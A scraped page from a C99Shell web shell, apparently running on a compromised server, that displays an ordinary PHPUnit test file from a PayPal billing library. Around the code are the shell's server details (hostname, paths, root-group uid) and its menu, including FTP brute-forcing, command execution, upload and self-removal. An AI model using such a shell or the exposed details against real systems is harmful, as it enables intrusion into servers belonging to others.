!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/srmklive/paypal/tests/Feature/   drwxr-xr-x
Free 29.29 GB of 117.98 GB (24.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AdapterBillingPlansPricingHelpersTest.php (2.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Tests\Feature;

use 
PHPUnit\Framework\TestCase;
use 
Srmklive\PayPal\Services\PayPal as PayPalClient;
use 
Srmklive\PayPal\Tests\MockClientClasses;
use 
Srmklive\PayPal\Tests\MockResponsePayloads;

class 
AdapterBillingPlansPricingHelpersTest extends TestCase
{
    use 
MockClientClasses;
    use 
MockResponsePayloads;

    
/** @var string */
    
protected static $access_token '';

    
/** @var \Srmklive\PayPal\Services\PayPal */
    
protected $client;

    protected function 
setUp(): void
    
{
        
$this->client = new PayPalClient($this->getApiCredentials());

        
$this->client->setClient(
            
$this->mock_http_client(
                
$this->mockAccessTokenResponse()
            )
        );
        
$response $this->client->getAccessToken();

        
self::$access_token $response['access_token'];

        
parent::setUp();
    }

    
/** @test */
    
public function it_can_update_pricing_schemes_for_a_billing_plan()
    {
        
$this->client->setAccessToken([
            
'access_token'  => self::$access_token,
            
'token_type'    => 'Bearer',
        ]);

        
$this->client $this->client->addBillingPlanById('P-5ML4271244454362WXNWU5NQ')
            ->
addPricingScheme('DAY'70true)
            ->
addPricingScheme('MONTH'1100);

        
$this->client->setClient(
            
$this->mock_http_client(false)
        );

        
$response $this->client->processBillingPlanPricingUpdates();

        
$this->assertEmpty($response);
    }

    
/** @test */
    
public function it_can_set_custom_limits_when_listing_billing_plans()
    {
        
$this->client->setAccessToken([
            
'access_token'  => self::$access_token,
            
'token_type'    => 'Bearer',
        ]);

        
$this->client $this->client->setPageSize(30)
            ->
showTotals(true);

        
$this->client->setClient(
            
$this->mock_http_client(
                
$this->mockListPlansResponse()
            )
        );

        
$response $this->client->setCurrentPage(1)->listPlans();

        
$this->assertNotEmpty($response);
        
$this->assertArrayHasKey('plans'$response);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--